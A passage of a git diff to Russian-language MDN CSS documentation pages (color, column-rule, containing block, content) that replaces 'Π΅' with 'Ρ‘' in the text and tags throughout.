- <td>ДобавляСт <code>rebeccapurple</code>, Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ…Π·Π½Π°Ρ‡Π½Ρ‹Π΅ (<code>#RGBA</code>) ΠΈ Π²ΠΎΡΡŒΠΌΠΈΠ·Π½Π°Ρ‡Π½Ρ‹Π΅ (<code>#RRGGBBAA</code>) ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Π΅ обозначСния, <code>rgba() </code>ΠΈ <code>hsla()</code> Π² качСствС псСвдонимов <code>rgb ()</code> ΠΈ <code>hsl () </code>(ΠΎΠ±Π° с ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌ синтаксисом ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²), Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² качСствС Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹ запятым, ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Ρ‹ для ΠΠ»ΡŒΡ„Π°-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈ ΡƒΠ³Π»Ρ‹ для ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠ° Π² Ρ†Π²Π΅Ρ‚Π°Ρ… <code>hsl ()</code>.</td>
+ <td>ДобавляСт <code>rebeccapurple</code>, Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ…Π·Π½Π°Ρ‡Π½Ρ‹Π΅ (<code>#RGBA</code>) ΠΈ Π²ΠΎΡΡŒΠΌΠΈΠ·Π½Π°Ρ‡Π½Ρ‹Π΅ (<code>#RRGGBBAA</code>) ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Π΅ обозначСния, <code>rgba() </code>ΠΈ <code>hsla()</code> Π² качСствС псСвдонимов <code>rgb ()</code> ΠΈ <code>hsl () </code>(ΠΎΠ±Π° с ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌ синтаксисом ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²), Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² качСствС Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹ запятым, ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Ρ‹ для ΠΠ»ΡŒΡ„Π°-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈ ΡƒΠ³Π»Ρ‹ для ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠ° Π² Ρ†Π²Π΅Ρ‚Π°Ρ… <code>hsl ()</code>.</td>
</tr>
<tr>
<td>{{SpecName('CSS3 Colors', '#colorunits', '&lt;color&gt;')}}</td>
@@ -1507,7 +1507,7 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);">
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос.</div>
<p>{{Compat("css.properties.color")}}</p>
diff --git a/files/ru/web/css/column-count/index.html b/files/ru/web/css/column-count/index.html
index b0f17d4069..633d6a186b 100644
--- a/files/ru/web/css/column-count/index.html
+++ b/files/ru/web/css/column-count/index.html
@@ -3,7 +3,7 @@ title: column-count
slug: Web/CSS/column-count
tags:
- Бвойство
- - ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Π°Ρ вСрстка
+ - ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Π°Ρ вёрстка
translation_of: Web/CSS/column-count
---
<div>{{CSSRef}}</div>
diff --git a/files/ru/web/css/column-rule-color/index.html b/files/ru/web/css/column-rule-color/index.html
index b0b7cb3ade..3019c7e417 100644
--- a/files/ru/web/css/column-rule-color/index.html
+++ b/files/ru/web/css/column-rule-color/index.html
@@ -2,7 +2,7 @@
title: column-rule-color
slug: Web/CSS/column-rule-color
tags:
- - ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Π°Ρ вСрстка
+ - ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Π°Ρ вёрстка
translation_of: Web/CSS/column-rule-color
---
<div>{{CSSRef}}</div>
diff --git a/files/ru/web/css/column-rule-style/index.html b/files/ru/web/css/column-rule-style/index.html
index 70816fe051..a012d070de 100644
--- a/files/ru/web/css/column-rule-style/index.html
+++ b/files/ru/web/css/column-rule-style/index.html
@@ -2,7 +2,7 @@
title: column-rule-style
slug: Web/CSS/column-rule-style
tags:
- - ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Π°Ρ вСрстка
+ - ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Π°Ρ вёрстка
translation_of: Web/CSS/column-rule-style
---
<div>{{ CSSRef}}</div>
diff --git a/files/ru/web/css/column-rule/index.html b/files/ru/web/css/column-rule/index.html
index d590860976..d48f043c0d 100644
--- a/files/ru/web/css/column-rule/index.html
+++ b/files/ru/web/css/column-rule/index.html
@@ -2,7 +2,7 @@
title: column-rule
slug: Web/CSS/column-rule
tags:
- - ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Π°Ρ вСрстка
+ - ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Π°Ρ вёрстка
translation_of: Web/CSS/column-rule
---
<div>{{CSSRef}}</div>
@@ -13,7 +13,7 @@ translation_of: Web/CSS/column-rule
-<p>Π­Ρ‚Π° краткая Ρ„ΠΎΡ€ΠΌΠ° записи Π·Π°Π΄Π°Π΅Ρ‚ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅Β  <code>column-rule-*</code> свойства, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π·Π°Π΄Π°Π²Π°Π΅ΠΌΡ‹Π΅: {{Cssxref("column-rule-width")}}, {{Cssxref("column-rule-style")}}, ΠΈ {{Cssxref("column-rule-color")}}.</p>
+<p>Π­Ρ‚Π° краткая Ρ„ΠΎΡ€ΠΌΠ° записи Π·Π°Π΄Π°Ρ‘Ρ‚ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅Β  <code>column-rule-*</code> свойства, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π·Π°Π΄Π°Π²Π°Π΅ΠΌΡ‹Π΅: {{Cssxref("column-rule-width")}}, {{Cssxref("column-rule-style")}}, ΠΈ {{Cssxref("column-rule-color")}}.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Как ΠΈ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΌΠΈ Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ записи, Π»ΡŽΠ±Ρ‹Π΅ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ значСния, Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ явно ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ (Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π·Π°Π΄Π°Π½Π½Ρ‹Ρ… Ρ€Π°Π½Π΅Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойств, Π½Π΅ ΡΠ²Π»ΡΡŽΡ‰ΠΈΡ…ΡΡ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΌΠΈ Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ).</p>
@@ -32,13 +32,13 @@ column-rule: initial;
column-rule: unset;
</pre>
-<p>Бвойство <code>column-rule</code> указываСтся Π² Π²ΠΈΠ΄Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ, Π΄Π²ΡƒΡ… ΠΈΠ»ΠΈ Ρ‚Ρ€Π΅Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, пСрСчислСнных Π½ΠΈΠΆΠ΅, Π² любом порядкС.</p>
+<p>Бвойство <code>column-rule</code> указываСтся Π² Π²ΠΈΠ΄Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ, Π΄Π²ΡƒΡ… ΠΈΠ»ΠΈ Ρ‚Ρ€Ρ‘Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, пСрСчислСнных Π½ΠΈΠΆΠ΅, Π² любом порядкС.</p>
<h3 id="ЗначСния">ЗначСния</h3>
<dl>
<dt><code>&lt;'column-rule-width'&gt;</code></dt>
- <dd>{{cssxref("&lt;length&gt;")}} ΠΈΠ»ΠΈ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Ρ‚Ρ€Π΅Ρ… ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… свойств, <code>thin</code>, <code>medium</code>, ΠΈΠ»ΠΈ <code>thick</code>. Π‘ΠΌ. ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ -Β  {{cssxref("border-width")}}.</dd>
+ <dd>{{cssxref("&lt;length&gt;")}} ΠΈΠ»ΠΈ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… свойств, <code>thin</code>, <code>medium</code>, ΠΈΠ»ΠΈ <code>thick</code>. Π‘ΠΌ. ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ -Β  {{cssxref("border-width")}}.</dd>
<dt><code>&lt;'column-rule-style'&gt;</code></dt>
<dd>Π‘ΠΌ.Β ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ {{cssxref("border-style")}} .</dd>
<dt><code>&lt;'column-rule-color'&gt;</code></dt>
diff --git a/files/ru/web/css/column_combinator/index.html b/files/ru/web/css/column_combinator/index.html
index 9fad1a33a2..171d4fd7bc 100644
--- a/files/ru/web/css/column_combinator/index.html
+++ b/files/ru/web/css/column_combinator/index.html
@@ -2,7 +2,7 @@
title: ΠšΠΎΠΌΠ±ΠΈΠ½Π°Ρ‚ΠΎΡ€ столбцов
slug: Web/CSS/Column_combinator
tags:
- - ВСрстка
+ - Вёрстка
- Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹
translation_of: Web/CSS/Column_combinator
---
diff --git a/files/ru/web/css/containing_block/index.html b/files/ru/web/css/containing_block/index.html
index fe3fdd2254..644b4d4d54 100644
--- a/files/ru/web/css/containing_block/index.html
+++ b/files/ru/web/css/containing_block/index.html
@@ -7,7 +7,7 @@ translation_of: Web/CSS/Containing_block
<p class="summary" dir="ltr">На Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΈ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ элСмСнта часто влияСт Π΅Π³ΠΎ <strong>содСрТащий Π±Π»ΠΎΠΊ</strong> (containing block). Π§Π°Ρ‰Π΅ всСго содСрТащим Π±Π»ΠΎΠΊΠΎΠΌ являСтся content ΠΎΠ±Π»Π°ΡΡ‚ΡŒ (<a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#content-area">content area</a>) блиТайшСго Π±Π»ΠΎΡ‡Π½ΠΎΠ³ΠΎ (<a href="/en-US/docs/Web/HTML/Block-level_elements">block-level</a>) ΠΏΡ€Π΅Π΄ΠΊΠ°, Π½ΠΎ это Π½Π΅ всСгда Ρ‚Π°ΠΊ. <span class="seoSummary">Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим Ρ„Π°ΠΊΡ‚ΠΎΡ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅</span>Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ <span class="seoSummary">содСрТащий Π±Π»ΠΎΠΊ элСмСнта.</span></p>
-<p class="summary" dir="ltr">Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚ (Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€) Π΄Π΅Π»Π°Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΎΠ½ создаСт бокс (box) для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ бокс раздСляСтся Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ области:</p>
+<p class="summary" dir="ltr">Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚ (Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€) Π΄Π΅Π»Π°Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΎΠ½ создаёт бокс (box) для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ бокс раздСляСтся Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ области:</p>
<ol dir="ltr" start="1">
<li>Content ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΈΠ»ΠΈ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° (content area).</li>
@@ -33,15 +33,15 @@ translation_of: Web/CSS/Containing_block
<p dir="ltr">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ содСрТащСго Π±Π»ΠΎΠΊΠ° элСмСнта ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ зависит ΠΎΡ‚ значСния свойства {{cssxref("position")}}:</p>
<ol dir="ltr" start="1">
- <li>Если свойство <code>position</code> ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β Β <code><strong>static</strong></code>,<strong>Β </strong><code><strong>relative</strong></code>, ΠΈΠ»ΠΈΒ <strong><code>sticky</code></strong>, Ρ‚ΠΎ содСрТащий Π±Π»ΠΎΠΊ задаСтся ΠΊΡ€Π°Π΅ΠΌΒ <em>content бокса</em> блиТайшСго ΠΏΡ€Π΅Π΄ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ:
+ <li>Если свойство <code>position</code> ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β Β <code><strong>static</strong></code>,<strong>Β </strong><code><strong>relative</strong></code>, ΠΈΠ»ΠΈΒ <strong><code>sticky</code></strong>, Ρ‚ΠΎ содСрТащий Π±Π»ΠΎΠΊ задаётся ΠΊΡ€Π°Π΅ΠΌΒ <em>content бокса</em> блиТайшСго ΠΏΡ€Π΅Π΄ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ:
<ul>
<li>Π»ΠΈΠ±ΠΎ являСтся <strong>Π±Π»ΠΎΡ‡Π½Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ</strong> (block container), Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π΅Π³ΠΎ свойство displayΒ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ inline-block, blockΒ ΠΈΠ»ΠΈΒ list-item.</li>
<li>Π»ΠΈΠ±ΠΎ <strong>устанавливаСт контСкст форматирования</strong> (formatting context), Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Β Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ (table container), flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Β (flex container), grid-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Β (grid container) ΠΈΠ»ΠΈ Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉΒ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Β (block container).</li>
</ul>
</li>
- <li>Если свойство <code>position</code><strong> </strong>ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code><strong>absolute</strong></code>, Ρ‚ΠΎ содСрТащий Π±Π»ΠΎΠΊ задаСтся ΠΊΡ€Π°Π΅ΠΌ <em>padding бокса</em>Β Π±Π»ΠΈΠΆΠ°ΠΉΡˆΠ΅Π³ΠΎΒ ΠΏΡ€Π΅Π΄ΠΊΠ°, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ свойство <code>position</code><strong>Β </strong>ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠ΅ ΠΎΡ‚ <code>static</code> (<code>fixed</code>, <code>absolute</code>, <code>relative</code>Β ΠΈΠ»ΠΈΒ <code>sticky</code>).</li>
- <li>Если свойство <code>position</code><strong> </strong>ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code><strong>fixed</strong></code>, Ρ‚ΠΎ содСрТащий Π±Π»ΠΎΠΊ задаСтся:
+ <li>Если свойство <code>position</code><strong> </strong>ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code><strong>absolute</strong></code>, Ρ‚ΠΎ содСрТащий Π±Π»ΠΎΠΊ задаётся ΠΊΡ€Π°Π΅ΠΌ <em>padding бокса</em>Β Π±Π»ΠΈΠΆΠ°ΠΉΡˆΠ΅Π³ΠΎΒ ΠΏΡ€Π΅Π΄ΠΊΠ°, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ свойство <code>position</code><strong>Β </strong>ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠ΅ ΠΎΡ‚ <code>static</code> (<code>fixed</code>, <code>absolute</code>, <code>relative</code>Β ΠΈΠ»ΠΈΒ <code>sticky</code>).</li>
+ <li>Если свойство <code>position</code><strong> </strong>ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code><strong>fixed</strong></code>, Ρ‚ΠΎ содСрТащий Π±Π»ΠΎΠΊ задаётся:
<ul>
<li>Π² случаС Π½Π΅ΠΏΡ€Π΅Ρ€Ρ‹Π²Π½ΠΎΠ³ΠΎ ΠΌΠ΅Π΄ΠΈΠ° (continuous media) ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ просмотра (Π²ΡŒΡŽΠΏΠΎΡ€Ρ‚ - {{glossary("viewport")}});</li>
<li>Π² случаС страничного ΠΌΠ΅Π΄ΠΈΠ° (paged media) ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ страницы.</li>
diff --git a/files/ru/web/css/content/index.html b/files/ru/web/css/content/index.html
index 180c415cef..6d71c72e8e 100644
--- a/files/ru/web/css/content/index.html
+++ b/files/ru/web/css/content/index.html
@@ -60,18 +60,18 @@ content: unset;
<dt>{{cssxref("&lt;string&gt;")}}</dt>
<dd>Π›ΡŽΠ±ΠΎΠ΅ количСство тСкстовых символов. НСлатинскиС символы Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ с использованиСм ΠΈΡ… escape-ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Unicode: Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>\000A9</code> прСдставляСт собой символ авторского ΠΏΡ€Π°Π²Π°.</dd>
<dt>{{cssxref("&lt;url&gt;")}}</dt>
- <dd>URL-адрСс, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° внСшний рСсурс (ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅). Если рСсурс Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½, ΠΎΠ½ игнорируСтся ΠΈΠ»ΠΈ отобраТаСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
+ <dd>URL-адрСс, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° внСшний рСсурс (ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅). Если рСсурс Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½, ΠΎΠ½ игнорируСтся ΠΈΠ»ΠΈ отобраТаСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
<dt>{{cssxref("&lt;image&gt;")}}</dt>
<dd>{{cssxref("&lt;image&gt;")}}, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏΠΎΠΌ Π΄Π°Π½Π½Ρ‹Ρ… {{cssxref("&lt;url&gt;")}} ΠΈΠ»ΠΈ {{cssxref("&lt;gradient&gt;")}}, ΠΈΠ»ΠΈ Ρ‡Π°ΡΡ‚ΡŒΡŽ Π²Π΅Π±-страницы, опрСдСляСмой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ {{cssxref("element", "element()")}}, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉ содСрТимоС для обозначСния.</dd>
<dt>{{cssxref("&lt;counter&gt;")}}</dt>
- <dd>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <a href="/en-US/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS счСтчика</a>, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ число. Π•Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉΒ  {{cssxref("counter()")}} ΠΈΠ»ΠΈ{{cssxref("counters()")}}.</dd>
+ <dd>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <a href="/en-US/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS счётчика</a>, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ число. Π•Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉΒ  {{cssxref("counter()")}} ΠΈΠ»ΠΈ{{cssxref("counters()")}}.</dd>
<dd>
- <p>Ѐункция <code>counter()</code> ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Π²Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ записи: 'counter(<var>имя</var>)' ΠΈΠ»ΠΈ 'counter(<var>имя</var>, <var>ΡΡ‚ΠΈΠ»ΡŒ</var>)'. Π‘Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ тСкст - это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ самого Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ счСтчика с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ Π² области видимости Π΄Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта. Он ΠΎΡ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ Π² ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌ стилС (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <code>decimal</code>).</p>
